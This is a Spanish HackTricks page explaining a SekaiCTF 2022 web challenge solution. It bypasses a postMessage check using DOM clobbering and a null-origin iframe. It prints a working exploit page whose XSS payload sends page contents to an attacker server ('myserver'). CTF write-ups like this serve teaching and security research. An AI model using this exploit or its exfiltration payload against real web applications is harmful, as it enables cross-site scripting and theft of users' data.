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hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md

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Translated ['ctf-write-ups/challenge-0521.intigriti.io.md', 'ctf-write-u
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# Bypassing SOP with Iframes - 2
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{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## Iframes in SOP-2
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En la [**solución**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) para este [**desafío**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic\_) propone un método similar a la sección anterior. Vamos a revisarlo.
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En este desafío, el atacante necesita **bypassar** esto:
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```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
```
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Si lo hace, puede enviar un **postmessage** con contenido HTML que se va a escribir en la página con **`innerHTML`** sin saneamiento (**XSS**).
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La forma de eludir la **primera verificación** es haciendo que **`window.calc.contentWindow`** sea **`undefined`** y **`e.source`** sea **`null`**:
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* **`window.calc.contentWindow`** es en realidad **`document.getElementById("calc")`**. Puede sobrescribir **`document.getElementById`** con **`<img name=getElementById />`** (tenga en cuenta que la API de Saneamiento -[aquí](https://wicg.github.io/sanitizer-api/#dom-clobbering)- no está configurada para proteger contra ataques de sobrescritura de DOM en su estado predeterminado).
* Por lo tanto, puede sobrescribir **`document.getElementById("calc")`** con **`<img name=getElementById /><div id=calc></div>`**. Luego, **`window.calc`** será **`undefined`**.
* Ahora, necesitamos que **`e.source`** sea **`undefined`** o **`null`** (porque se usa `==` en lugar de `===`, **`null == undefined`** es **`True`**). Obtener esto es "fácil". Si crea un **iframe** y **envía** un **postMessage** desde él y luego **elimina** el iframe, **`e.origin`** será **`null`**. Verifique el siguiente código
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```javascript
let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null
```
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Para eludir la **segunda verificación** sobre el token, se envía **`token`** con el valor `null` y se hace que el valor de **`window.token`** sea **`undefined`**:
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* Enviar `token` en el postMessage con el valor `null` es trivial.
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* **`window.token`** al llamar a la función **`getCookie`** que utiliza **`document.cookie`**. Tenga en cuenta que cualquier acceso a **`document.cookie`** en páginas de origen **`null`** provoca un **error**. Esto hará que **`window.token`** tenga un valor de **`undefined`**.
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La solución final de [**@terjanq**](https://twitter.com/terjanq) es la [**siguiente**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
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```html
<html>
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<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');
function start(){
var ifr = document.createElement('iframe');
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr);
function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
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</html>
```
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{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Apoya a HackTricks</summary>
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* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
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</details>
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{% endhint %}
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